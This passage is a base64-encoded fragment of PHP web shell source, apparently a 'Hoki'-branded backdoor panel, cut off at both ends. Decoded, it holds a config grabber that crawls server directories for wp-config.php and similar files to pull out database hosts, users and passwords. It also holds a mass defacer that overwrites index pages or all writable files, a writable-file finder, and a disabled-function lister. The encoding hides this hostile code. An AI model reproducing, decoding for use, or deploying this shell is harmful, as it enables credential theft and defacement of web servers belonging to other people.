aW5kaWNvbigkZmlsZVsnbmFtZSddLCRmaWxlWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+JzsKCQkJIGlmKCRmaWxlWyJ0eXBlIl0gPT0gImRpciIpewoJCQkgCWVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgb25jbGljaz0iaG9raU9wZW5BcmNoaXZlKHRoaXMpOyIgcGF0aD0iJy4kZmlsZVsicGF0aCJdLiciIGZuYW1lPSInLiRmaWxlWyJuYW1lIl0uJyI+Jy4kaWNvbi4nPHNwYW4gY2xhc3M9ImFyY2hpdmUtbmFtZSBhcmNoaXZlLXR5cGUtZGlyIj58ICcuJGZpbGVbIm5hbWUiXS4nIHw8L3NwYW4+PC9hPjx0ZD5kaXI8L3RkPjx0ZD4nLiRmaWxlWyJtb2RpZnkiXS4nPC90ZD48dGQ+LTwvdGQ+PC90cj4nOwoJCSAJfWVsc2V7CgkJCQllY2hvICI8dHI+PHRoPjxhIGJhc2VfaWQ9JyIuJGJhc2VfaWQuIicgY2xhc3M9J2FyY2hpdmUtZmlsZS1yb3cnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGVbInBhdGgiXS4iJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIj4iLiRpY29uLiI8c3BhbiBjbGFzcz0nYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1maWxlJyBmbmFtZT0nIi4kZmlsZVsibmFtZSJdLiInPiIuJGZpbGVbIm5hbWUiXS4iPC9zcGFuPjwvYT48dGQ+Ii5ob2tpU2l6ZSgkZmlsZVsic2l6ZSJdKS4iPC90ZD48dGQ+Ii4kZmlsZVsibW9kaWZ5Il0uIjwvdGQ+PHRkPi08L3RkPjwvdHI+IjsKCgkJCX0KCQkgfQoJCSAgZWNobyAnPC90YWJsZT4nOwoJfWNhdGNoKEV4Y2VwdGlvbiAkZSl7CgkJZWNobygiMCIpOwoJfQp9CmZ1bmN0aW9uIGhva2lvcGVuX2FyY2hpdmVfZGlyKCl7CgkkZGlyID0gJF9QT1NUWyJob2tpMSJdOwoJJGJhc2VfaWQgPSAkX1BPU1RbImhva2kyIl07CglfX2hva2lfb3Blbl9hcmNoaXZlX2ZpbGUoJGRpciwgJGJhc2VfaWQpOwp9CmZ1bmN0aW9uIGhva2ljb25maWdfZ3JhYmJlcigpewoJaG9raWhlYWQoKTsKCWVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29uZmlnIEdyYWJiZXIgfDwvZGl2PjwvcD4nOwoJZWNobyAnPGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdjb25maWdfZ3JhYmJlclwnLG51bGwsbnVsbCx0aGlzLmRpci52YWx1ZSx0aGlzLmV4dC52YWx1ZSxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglEaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+CglFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CgkkZGlyID0gJF9QT1NUWydob2tpMiddOwoJJGV4dCA9ICRfUE9TVFsnaG9raTMnXTsKCWlmKCRfUE9TVFsnaG9raTUnXT09Jz4+Jyl7CgkJZWNobyBfX3ByZSgpOwoJCUhva2lfQ29uZmlnR3JhYmJlcigkZGlyLCAkZXh0KTsKCX0KCWVjaG8gJzwvZGl2Pic7Cglob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gSG9raV9Db25maWdHcmFiYmVyKCRkaXIsICRleHQpIHsKCSRwYXR0ZXJuID0gIiNkZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUKD86J3xcIilbIF17MCx9fGRlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX0hPU1ROQU1FKD86J3xcIilbIF17MCx9fGNvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXXwoPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpfCg/Oid8XCIpKG15c3FsfGRhdGFiYXNlKSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfWFycmF5fGRiX25hbWV8ZGJfdXNlcnxkYl9wYXNzfGRiX3NlcnZlcnxkYl9ob3N0fGRiaG9zdHxkYm5hbWV8ZGJ1c2VyfGRicGFzc3xkYXRhYmFzZV9uYW1lfGRhdGFiYXNlX3VzZXJ8ZGF0YWJhc2VfcGFzc3xteXNxbF91c2VyfG15c3FsX3Bhc3N8bXlzcWxpX2Nvbm5lY3R8bXlzcWxfY29ubmVjdHxuZXdbIF17MCx9bXlzcWxpI2kiOwoJJGRiX2ZpbGVzID0gYXJyYXkoIndwLWNvbmZpZy5waHAiLCJjb25maWd1cmUucGhwIiwiY29uZmlnLmluYy5waHAiLCJjb25maWd1cmF0aW9uLnBocCIsImNvbmZpZy5waHAiLCJjb25mLnBocCIsImRiY2xhc3MucGhwIiwiY2xhc3NfY29yZS5waHAiLCJkaXN0LWNvbmZpZ3VyZS5waHAiLCAic2V0dGluZ3MucGhwIiwgImNvbmZfZ2xvYmFsLnBocCIsICJkYi5waHAiLCAiY29ubmVjdC5waHAiLCAiY29uZmluZy5kYi5waHAiLCAiY29uZmlnLmRiLnBocCIsICJkYXRhYmFzZS5waHAiKTsKCWlmKEBpc19yZWFkYWJsZSgkZGlyKSl7CgkJJGdsb2JGaWxlcyA9IEBnbG9iKCIkZGlyLyouJGV4dCIpOwoJCSRnbG9iRGlycyAgPSBAZ2xvYigiJGRpci8qIiwgR0xPQl9PTkxZRElSKTsKCQkkYmxhY2tsaXN0ID0gYXJyYXkoKTsKCQlmb3JlYWNoICgkZ2xvYkRpcnMgYXMgJGRpcikgewoJCQlpZighQGlzX3JlYWRhYmxlKCRkaXIpfHxAaXNfbGluaygkZGlyKSkgY29udGludWU7CgkJCUBIb2tpX0NvbmZpZ0dyYWJiZXIoJGRpciwgJGV4dCk7CgkJfQoJCWZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewoJCQkkZmlsZWUgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwoJCQlpZihwcmVnX21hdGNoKCRwYXR0ZXJuLCAkZmlsZWUpKXsKCQkJCWVjaG8gIjxkaXY+PHNwYW4+JGZpbGU8L3NwYW4+IDxhIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGUuIicsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7XCI+WyBWaWV3IGZpbGUgXTwvYT48L2Rpdj4iOwoJCQl9CgkJfQoJfQp9CmZ1bmN0aW9uIGhva2lzZWFyY2hlcigpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNlYXJjaGVyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcpIj58IEZpbmQgUmVhZGFibGUgT3IgV3JpdGFibGUgRmlsZXMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ3N0clwnKSI+fCBGaW5kIEZpbGVzIEJ5IE5hbWUgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2hva2kxJ10pJiYkX1BPU1RbJ2hva2kxJ109PSdmaWxlJyl7CmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmluZCBSZWFkYWJsZSBPciBXcml0YWJsZSBGaWxlcyAgfDwvZGl2Pjxicj48YnI+PGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcsdGhpcy5maWxlbmFtZS52YWx1ZSx0aGlzLmV4dC52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Ck1ldGhvZDogPHNlbGVjdCBzdHlsZT0id2lkdGg6IDE4JTsiIG9uY2xpY2s9Imhva2lfc2VhcmNoZXJfdG9vbCh0aGlzLnZhbHVlKTsiIG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0iZmlsZXMiPkZpbmQgQWxsIFdyaXRhYmxlIEZpbGVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlycyI+RmluZCBBbGwgV3JpdGFibGUgRGlyczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImFsbCI+RmluZCBBbGwgUmVhZGFibGUgQW5kIFdyaXRhYmxlIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q+CkRpcjogPGlucHV0IHNpemU9IjUwIiBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlbmFtZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciPgpFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+JzsKJGRpciA9ICRfUE9TVFsnaG9raTInXTsKJGV4dCA9ICRfUE9TVFsnaG9raTMnXTsKJG1ldGhvZCA9ICRfUE9TVFsnaG9raTQnXTsKaWYoJF9QT1NUWydob2tpNSddPT0nPj4nKXsKZWNobyBfX3ByZSgpOwppZihzdWJzdHIoJGRpciwtMSk9PScvJykkZGlyPXN1YnN0cigkZGlyLDAsLTEpOwpIb2tpX1NlYXJjaGVyKCRkaXIsdHJpbSgkZXh0KSwkbWV0aG9kKTsKfQp9CmlmKCRfUE9TVFsnaG9raTEnXT09J3N0cicpewplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgRmlsZXMgQnkgTmFtZSAvIEZpbmQgU3RyaW5nIEluIEZpbGVzIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnc3RyXCcsdGhpcy5kaXIudmFsdWUsdGhpcy5zdHJpbmcudmFsdWUsXCc+PlwnLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+CjxkaXYgY2xhc3M9InR4dGZvbnQiPgpNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJuYW1lIj5GaW5kIEZpbGVzIEJ5IE5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzdHIiPkZpbmQgU3RyaW5nIEluIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q+ClN0cmluZzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0cmluZyIgdmFsdWU9IiI+CkRpcjogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4KRXh0OiA8c21hbGw+PGZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRkaXIgPSAkX1BPU1RbJ2hva2kyJ107CiRzdHJpbmcgPSAkX1BPU1RbJ2hva2kzJ107CiRleHQgPSAkX1BPU1RbJ2hva2k1J107CmlmKCFlbXB0eSgkc3RyaW5nKSBBTkQgIWVtcHR5KCRkaXIpIEFORCAkX1BPU1RbJ2hva2k0J10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKSG9raV9TdHJTZWFyY2hlcigkZGlyLCRzdHJpbmcsJGV4dCwkX1BPU1RbJ2hva2k2J10pOwp9Cn0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lNYXNzRGVmYWNlcigpewpob2tpaGVhZCgpOwpIb2tpTnVtKDUsNiw3LDgsOSwxMCk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTWFzcyBEZWZhY2VyIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdNYXNzRGVmYWNlcicsbnVsbCx0aGlzLm1hc3NkaXIudmFsdWUsdGhpcy5kZWZwYWdlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLCc+PicpO3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7CmVjaG8gJzxkaXYgY2xhc3M9InR4dGZvbnQiPkRlZmFjZSBNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJpbmRleCI+RGVmYWNlIEluZGV4IERpcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbGwiPkFsbCBGaWxlczwvb3B0aW9uPjwvc2VsZWN0PgoJTWFzcyBkaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0ibWFzc2RpciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgoJRGVmUGFnZTogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZwYWdlIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PC9kaXY+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvY2VudGVyPjwvcD4KPC9mb3JtPic7CiRkaXIgPSAkX1BPU1RbJ2hva2kxJ107CiRkZWZwYWdlID0gJF9QT1NUWydob2tpMiddOwokbWV0aG9kID0gJF9QT1NUWydob2tpMyddOwokZkN1cnJlbnQgPSAkR0xPQkFMU1snX19maWxlX3BhdGgnXTsKaWYoJF9QT1NUWydob2tpNCddID09ICc+PicpewppZighZW1wdHkoJGRpcikpewppZihAaXNfZGlyKCRkaXIpKXsKaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsKaWYoQGlzX2ZpbGUoJGRlZnBhZ2UpKXsKaWYoJGRoID0gQG9wZW5kaXIoJGRpcikpewplY2hvIF9fcHJlKCk7CndoaWxlICgoJGZpbGUgPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJyljb250aW51ZTsKJG5ld2ZpbGU9JGRpci4kZmlsZTsKaWYoJGZDdXJyZW50ID09ICRuZXdmaWxlKWNvbnRpbnVlOwppZihAaXNfZGlyKCRuZXdmaWxlKSl7Ckhva2lfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKfWVsc2V7CmlmKCFAaXNfd3JpdGFibGUoJG5ld2ZpbGUpKWNvbnRpbnVlOwppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsKSG9raV9SZXdyaXRlcigkbmV3ZmlsZSwkZmlsZSwkZGVmcGFnZSwkbWV0aG9kKTsKfQp9CmNsb3NlZGlyKCRkaCk7Cn1lbHNle19fYWxlcnQoJzxmb250IGNvbG9yPSJyZWQiPkVycm9yIEluIE9wZW5EaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EZWZQYWdlIEZpbGUgTm90Rm91bmQuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXJlY3RvcnkgaXMgbm90IFJlYWRhYmxlLi4uPC9mb250PicpO30KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+TWFzcyBEaXIgaXMgSW52YWxpZCBEaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXIgaXMgRW1wdHkuLi48L2ZvbnQ+Jyk7fQp9CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBIb2tpX1JlYWREaXIoJGRpciwkbWV0aG9kPScnLCRkZWZwYWdlPScnKXsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwppZiAoQGlzX2RpcigkZGlyKSkgewppZiAoJGRoID0gQG9wZW5kaXIoJGRpcikpIHsKd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJyljb250aW51ZTsKJG5ld2ZpbGU9JGRpci4nLycuJGZpbGU7CmlmKEBpc19yZWFkYWJsZSgkbmV3ZmlsZSkmJkBpc19kaXIoJG5ld2ZpbGUpKUhva2lfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKaWYoQGlzX2ZpbGUoJG5ld2ZpbGUpKXsKaWYoIUBpc19yZWFkYWJsZSgkbmV3ZmlsZSkpY29udGludWU7Ckhva2lfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7Cn0KfQpjbG9zZWRpcigkZGgpOwp9Cn0KfQpmdW5jdGlvbiBIb2tpX1Jld3JpdGVyKCRkaXIsJGZpbGUsJGRlZnBhZ2UsJG09J2luZGV4Jyl7CmlmKCFAaXNfd3JpdGFibGUoJGRpcikpIHJldHVybiBmYWxzZTsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwokZGVmcGFnZT1AZmlsZV9nZXRfY29udGVudHMoJGRlZnBhZ2UpOwppZigkbSA9PSAnaW5kZXgnKXsKJGluZGV4cyA9IGFycmF5KCdpbmRleC5waHAnLCdpbmRleC5odG0nLCdpbmRleC5odG1sJywnZGVmYXVsdC5hc3AnLCdkZWZhdWx0LmFzcHgnLCdpbmRleC5hc3AnLCdpbmRleC5hc3B4JywnaW5kZXguanMnKTsKaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkZmlsZSksJGluZGV4cykpewpAZmlsZV9wdXRfY29udGVudHMoJGRpciwkZGVmcGFnZSk7CmVjaG8gQGlzX2ZpbGUoJGRpcik/JGRpci4iPGI+PGZvbnQgY29sb3I9J3JlZCc+RGVGYWNlZC4uLjwvYj48L2ZvbnQ+PGJyPiIgOiAnJzsKfQp9ZWxzZWlmKCRtPT0nYWxsJyl7CkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsKZWNobyBAaXNfZmlsZSgkZGlyKT8kZGlyLiIgIDxiPjxmb250IGNvbG9yPSdyZWQnPkRlRmFjZWQuLi48L2I+PC9mb250Pjxicj4iIDogJyc7Cn0KfQpmdW5jdGlvbiBob2tpR2V0RGlzRnVuYygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7CiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJHMgPSBleHBsb2RlKCcsJywkZGlzZnVuKTsKJGYgPSBhcnJheV91bmlxdWUoJHMpOwplY2hvICc8Y2VudGVyPjxicj48Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+RGlzYWJsZSBGdW5jdGlvbnM8L2ZvbnQ+PC9iPjxwcmU+PHRhYmxlIGJvcmRlcj0iMSI+PHRyPjx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogZ3JlZW47Y29sb3I6IHdoaXRlO3dpZHRoOjUlIj4jPC90ZD48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGdyZWVuO2NvbG9yOiB3aGl0ZTsiPkZ1bmMgTmFtZTwvdGQ+PC90cj4nOwokaT0xOwpmb3JlYWNoKCRmIGFzICRzKXsKJHM9dHJpbSgkcyk7CmlmKGZ1bmN0aW9uX2V4aXN0cygkcyl8fCFpc19jYWxsYWJsZSgkcykpY29udGludWU7CmVjaG8gJzx0cj48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+Jy4kaS4nPC90ZD4nOwplY2hvICc8dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+PGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZTsiIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vcGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24uJy5zdHJfcmVwbGFjZSgnXycsJy0nLCRzKS4nLnBocCI+PHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj48Yj4nLiRzLic8L2I+PC9zcGFuPjwvYT48L3RkPic7CiRpKys7Cn0KZWNobyAnPC90YWJsZT48L2NlbnRlcj4nOwplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gSG9raV9DcmVhdGVfQV9UYWcoJGFjdGlvbiwkdmFscyl7CiRudWxscyA9IGFycmF5KCk7CmZvcmVhY2goJHZhbHMgYXMgJGtleSA9PiAkdmFsKXsKZWNobyAnPGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJycuJGFjdGlvbi4nXCcsJzsKZm9yKCRpPTE7JGk8PSR2YWxbMV0tMTskaSsrKSRudWxsc1tdID0gJ251bGwnOwokZiA9IGltcGxvZGUoJywnLCRudWxscyk7CmVjaG8gJGYuJyxcJycuJHZhbFswXS4nXCcpO3JldHVybiBmYWxzZTsiPnwgJy4ka2V5LicgfCA8L2E+JzsKdW5zZXQoJG51bGxzKTsKfQp9CmZ1bmN0aW9uIEhva2lfU2VhcmNoZXIoJGRpciwgJGV4dCwgJG1ldGhvZCkgewppZihAaXNfcmVhZGFibGUoJGRpcikpewppZigkbWV0aG9kID09ICdhbGwnKSRleHQgPSAnKic7CmlmKCRtZXRob2QgPT0gJ2RpcnMnKSRleHQgPSAnKic7CiRnbG9iRmlsZXMgPSBAZ2xvYigiJGRpci8qLiRleHQiKTsKJGdsb2JEaXJzICA9IEBnbG9iKCIkZGlyLyoiLCBHTE9CX09OTFlESVIpOwokYmxhY2tsaXN0ID0gYXJyYXkoKTsKZm9yZWFjaCAoJGdsb2JEaXJzIGFzICRkaXIpIHsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKXx8QGlzX2xpbmsoJGRpcikpIGNvbnRpbnVlOwpASG9raV9TZWFyY2hlcigkZGlyLCAkZXh0LCAkbWV0aG9kKTsKfQpzd2l0Y2goJG1ldGhvZCl7CmNhc2UgImZpbGVzIjoKZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7CmlmKEBpc193cml0YWJsZSgkZmlsZSkpewplY2hvICIkZmlsZTxicj4iOwp9Cn0KYnJlYWs7CmNhc2UgImRpcnMiOgpmb3JlYWNoICgkZ2xvYkZpbGVzIGFzICRmaWxlKXsKaWYoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGUpKSAmJiAhaW5fYXJyYXkoZGlybmFtZSgkZmlsZSksICRibGFja2xpc3QpKXsKZWNobyBkaXJuYW1lKCRmaWxlKS4nPGJyPic7CiRibGFja2xpc3RbXSA9IGRpcm5hbWUoJGZpbGUpOwp9Cn0KYnJlYWs7CmNhc2UgImFsbCI6CmZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewplY2hvICRmaWxlLic8YnI+JzsKfQpicmVhazsKfQp1bnNldCgkYmxhY2tsaXN0KTsKfQp9CmZ1bmN0aW9uIEhva2lpRnJhbWVDcmVhdG9yKCRmLCR3aWR0aD0nMTAwJScsJGhlaWdodD0nNjAwcHgnKXsKcmV0dXJuKCc8aWZyYW1lIHNyYz0iJy5fX0hPS0lfREFUQV9GT0xERVJfXy4iLyIuJGYuJyIgd2lkdGg9IicuJHdpZHRoLiciIGhlaWdodD0iJy4kaGVpZ2h0LiciIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT4nKTsKfQpjbGFzcyBIb2tpQ1VSTCB7CnB1YmxpYyAkaGVhZGVyczsKcHVibGljICR1c2VyX2FnZW50OwpwdWJsaWMgJGNvbXByZXNzaW9uOwpwdWJsaWMgJGNvb2tpZV9maWxlOwpwdWJsaWMgJHByb3h5OwpwdWJsaWMgJHBhdGg7CnB1YmxpYyAkc3NsID0gdHJ1ZTsKcHVibGljICRjdXJsX3N0YXR1cyA9IHRydWU7CmZ1bmN0aW9uIF9fY29uc3RydWN0KCRjb29raWVzPWZhbHNlLCRjb21wcmVzc2lvbj0nZ3ppcCcsJHByb3h5PScnKXsKaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JGN1cmxfc3RhdHVzID0gZmFsc2U7cmV0dXJuIGZhbHNlO30KJHRoaXMtPmhlYWRlcnNbXSA9ICdBY2NlcHQ6IGltYWdlL2dpZiwgaW1hZ2UveC1iaXRtYXAsIGltYWdlL2pwZWcsIGltYWdlL3BqcGVnJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb25uZWN0aW9uOiBLZWVwLUFsaXZlJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDtjaGFyc2V0PVVURi04JzsKJHRoaXMtPnVzZXJfYWdlbnQgPSAnTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTRfNikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzgzLjAuNDEwMy42MSBTYWZhcmkvNTM3LjM2KSc7CiR0aGlzLT5wYXRoID0gSE9LSV9URU1QRElSLicvSG9raV9jb29raWVzLnR4dCc7CiR0aGlzLT5jb21wcmVzc2lvbj0kY29tcHJlc3Npb247CiR0aGlzLT5wcm94eT0kcHJveHk7CiR0aGlzLT5jb29raWVzPSRjb29raWVzOwppZigkdGhpcy0+Y29va2llcykkdGhpcy0+Y29va2llKCR0aGlzLT5wYXRoKTsKfQpmdW5jdGlvbiBjb29raWUoJGNvb2tpZV9maWxlKSB7CmlmIChfaG9raV9maWxlX2V4aXN0cygkY29va2llX2ZpbGUsZmFsc2UpKSB7CiR0aGlzLT5jb29raWVfZmlsZT0kY29va2llX2ZpbGU7Cn1lbHNlewpAZm9wZW4oJGNvb2tpZV9maWxlLCd3Jykgb3IgZGllKCR0aGlzLT5lcnJvcignVGhlIGNvb2tpZSBmaWxlIGNvdWxkIG5vdCBiZSBvcGVuZWQuJykpOwokdGhpcy0+Y29va2llX2ZpbGU9JGNvb2tpZV9maWxlOwpAZmNsb3NlKCR0aGlzLT5jb29raWVfZmlsZSk7Cn0KfQpmdW5jdGlvbiBTZW5kKCR1cmwsJG1ldGhvZD0iZ2V0IiwkZGF0YT0iIil7CmlmKCEkdGhpcy0+Y3VybF9zdGF0dXMpe3JldHVybiBmYWxzZTt9CiRwcm9jZXNzID0gY3VybF9pbml0KCR1cmwpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVB